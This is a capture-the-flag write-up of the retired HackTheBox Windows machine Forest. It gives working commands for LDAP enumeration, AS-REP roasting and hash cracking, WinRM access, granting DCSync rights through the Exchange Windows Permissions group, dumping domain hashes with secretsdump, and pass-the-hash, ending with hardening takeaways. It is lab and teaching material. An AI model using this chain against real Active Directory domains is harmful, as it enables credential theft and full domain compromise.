Forest is one of HackTheBox's most popular Windows machines, and for good reason. It's an Active Directory box that walks you through a realistic attack chain — unauthenticated enumeration, AS-REP roasting, WinRM access, and finally DCSync via Exchange server permissions abuse. If you want to understand AD attacks without the noise of a full enterprise lab, Forest is the best starting point I know of.
This write-up covers the complete path from initial enumeration to root flag. The box is retired so spoilers are fair game.
OS: Windows Server 2019 | Difficulty: Easy | IP: 10.10.10.161
Enumeration
Start with a full port scan. Forest exposes standard Windows/AD ports — 88 (Kerberos), 135 (RPC), 389 (LDAP), 445 (SMB), 5985 (WinRM):
nmap -sC -sV -oA forest 10.10.10.161
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds Windows Server 2016 microsoft-ds
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/MsMEDIA)
The LDAP port is reachable without credentials. Use ldapsearch or enum4linux-ng to pull user accounts via anonymous LDAP bind:
enum4linux-ng -A 10.10.10.161
# Key findings:
# Domain: HTB.LOCAL
# Users enumerated via RPC null session:
# svc-alfresco, andy, mark, santi, sebastien, lucinda, Administrator...Saving the userlist matters here. The key account is svc-alfresco — a service account for Alfresco, the content management platform. Service accounts often have non-standard configurations, and this one is going to be our way in.
AS-REP Roasting svc-alfresco
AS-REP roasting targets accounts with Kerberos pre-authentication disabled (DONT_REQ_PREAUTH flag). When pre-auth is off, anyone can request a Kerberos AS-REP for that account without a password, and the response contains an encrypted blob that can be cracked offline.
Using GetNPUsers.py from Impacket:
python3 GetNPUsers.py HTB.LOCAL/ -usersfile users.txt -dc-ip 10.10.10.161 -no-pass -format hashcat
[email protected]:1a2b3c...<truncated>That hash goes straight into hashcat with mode 18200:
hashcat -m 18200 svc-alfresco.hash /usr/share/wordlists/rockyou.txt
[email protected]:... s3rvicePassword: s3rvice. Weak, predictable, and exactly the kind of password service accounts get set with when someone's in a hurry and never comes back to rotate it.
Initial Access via WinRM
svc-alfresco is a member of the Remote Management Users group (common for service accounts on this kind of box), so WinRM works straight away:
evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfrescoUser flag is in C:\Users\svc-alfresco\Desktop\user.txt.
Privilege Escalation: Exchange Windows Permissions Abuse
This is the interesting part. Run BloodHound to map the privilege escalation paths. Collect data from the box using SharpHound and import it locally.
The graph reveals the key path: svc-alfresco is a member of Service Accounts, which is a member of Privileged IT Accounts, which is a member of Account Operators. Account Operators can create users and add them to most non-protected groups — including Exchange Windows Permissions.
The Exchange Windows Permissions group has WriteDACL on the domain object. WriteDACL lets you grant any permissions you want — including DCSync rights. This is a well-documented Exchange-related misconfiguration.
The attack chain:
# Step 1: Create a new user
net user hacker Password123! /add /domain
# Step 2: Add to Exchange Windows Permissions
net group "Exchange Windows Permissions" hacker /add /domain
# Step 3: Grant DCSync rights using PowerView
Import-Module .\PowerView.ps1
$SecPass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB\hacker', $SecPass)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=HTB,DC=LOCAL" -PrincipalIdentity hacker -Rights DCSyncDCSync and Domain Compromise
With DCSync rights on our new account, we can replicate the NTDS and pull any hash we want — including the Administrator's:
python3 secretsdump.py HTB/hacker:[email protected]
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
...Pass-the-hash with the Administrator NT hash:
evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administratorRoot flag retrieved from C:\Users\Administrator\Desktop\root.txt.
Key Takeaways
Forest packs a lot of real-world AD technique into a fairly simple box:
- Null session LDAP enumeration is still possible on misconfigured AD environments. Locking down anonymous binds is a basic hardening step that many organisations skip.
- AS-REP roasting requires no credentials — a pre-auth disabled account is an offline cracking opportunity for anyone on the network. Audit for
DONT_REQ_PREAUTHregularly. - The Exchange Windows Permissions path is a known issue. Microsoft's documentation acknowledges this design and recommends using the Exchange split-permissions model. Many organisations running Exchange on-prem are still vulnerable to this path.
- DCSync doesn't require being on the DC. Any account with the two replication rights can pull hashes remotely. This is why those rights should be tightly controlled and audited.